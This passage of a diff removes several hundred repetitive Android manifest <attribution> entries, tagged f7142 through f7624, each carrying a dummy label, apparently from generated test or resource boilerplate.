-  <attribution android:tag="f7142" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7143" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7144" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7145" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7146" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7147" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7148" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7149" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7150" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7151" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7152" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7153" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7154" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7155" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7156" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7157" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7158" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7159" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7160" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7161" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7162" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7163" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7164" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7165" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7166" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7167" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7168" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7169" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7170" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7171" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7172" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7173" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7174" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7175" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7176" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7177" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7178" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7179" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7180" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7181" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7182" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7183" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7184" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7185" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7186" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7187" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7188" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7189" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7190" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7191" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7192" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7193" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7194" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7195" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7196" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7197" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7198" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7199" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7200" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7201" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7202" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7203" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7204" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7205" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7206" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7207" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7208" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7209" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7210" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7211" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7212" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7213" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7214" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7215" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7216" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7217" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7218" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7219" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7220" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7221" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7222" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7223" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7224" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7225" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7226" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7227" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7228" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7229" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7230" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7231" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7232" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7233" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7234" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7235" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7236" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7237" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7238" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7239" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7240" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7241" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7242" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7243" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7244" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7245" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7246" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7247" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7248" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7249" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7250" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7251" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7252" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7253" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7254" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7255" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7256" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7257" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7258" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7259" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7260" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7261" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7262" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7263" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7264" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7265" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7266" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7267" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7268" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7269" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7270" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7271" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7272" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7273" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7274" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7275" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7276" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7277" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7278" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7279" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7280" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7281" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7282" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7283" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7284" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7285" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7286" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7287" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7288" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7289" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7290" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7291" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7292" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7293" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7294" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7295" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7296" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7297" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7298" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7299" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7300" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7301" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7302" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7303" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7304" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7305" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7306" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7307" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7308" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7309" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7310" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7311" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7312" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7313" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7314" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7315" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7316" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7317" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7318" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7319" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7320" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7321" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7322" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7323" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7324" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7325" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7326" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7327" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7328" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7329" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7330" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7331" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7332" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7333" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7334" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7335" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7336" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7337" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7338" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7339" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7340" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7341" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7342" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7343" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7344" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7345" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7346" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7347" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7348" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7349" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7350" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7351" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7352" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7353" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7354" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7355" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7356" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7357" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7358" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7359" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7360" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7361" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7362" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7363" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7364" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7365" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7366" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7367" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7368" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7369" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7370" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7371" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7372" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7373" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7374" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7375" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7376" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7377" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7378" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7379" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7380" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7381" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7382" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7383" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7384" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7385" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7386" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7387" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7388" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7389" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7390" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7391" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7392" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7393" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7394" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7395" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7396" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7397" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7398" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7399" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7400" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7401" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7402" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7403" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7404" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7405" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7406" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7407" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7408" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7409" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7410" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7411" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7412" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7413" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7414" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7415" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7416" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7417" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7418" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7419" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7420" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7421" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7422" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7423" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7424" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7425" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7426" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7427" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7428" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7429" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7430" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7431" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7432" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7433" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7434" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7435" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7436" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7437" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7438" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7439" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7440" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7441" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7442" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7443" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7444" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7445" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7446" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7447" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7448" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7449" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7450" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7451" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7452" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7453" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7454" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7455" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7456" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7457" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7458" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7459" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7460" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7461" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7462" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7463" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7464" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7465" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7466" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7467" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7468" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7469" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7470" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7471" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7472" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7473" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7474" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7475" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7476" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7477" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7478" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7479" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7480" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7481" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7482" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7483" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7484" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7485" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7486" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7487" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7488" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7489" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7490" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7491" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7492" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7493" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7494" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7495" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7496" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7497" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7498" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7499" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7500" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7501" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7502" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7503" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7504" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7505" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7506" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7507" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7508" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7509" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7510" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7511" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7512" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7513" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7514" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7515" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7516" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7517" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7518" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7519" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7520" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7521" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7522" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7523" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7524" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7525" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7526" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7527" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7528" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7529" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7530" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7531" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7532" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7533" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7534" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7535" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7536" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7537" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7538" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7539" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7540" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7541" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7542" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7543" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7544" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7545" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7546" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7547" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7548" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7549" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7550" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7551" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7552" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7553" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7554" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7555" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7556" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7557" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7558" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7559" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7560" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7561" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7562" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7563" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7564" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7565" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7566" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7567" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7568" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7569" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7570" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7571" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7572" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7573" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7574" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7575" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7576" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7577" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7578" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7579" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7580" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7581" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7582" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7583" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7584" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7585" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7586" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7587" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7588" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7589" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7590" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7591" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7592" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7593" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7594" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7595" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7596" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7597" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7598" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7599" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7600" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7601" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7602" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7603" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7604" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7605" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7606" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7607" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7608" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7609" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7610" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7611" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7612" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7613" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7614" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7615" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7616" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7617" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7618" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7619" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7620" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7621" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7622" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7623" android:label="@string/dummyLabel" />
-  <attribution android:tag="f7624" android:label="@string/dummyLabel" />
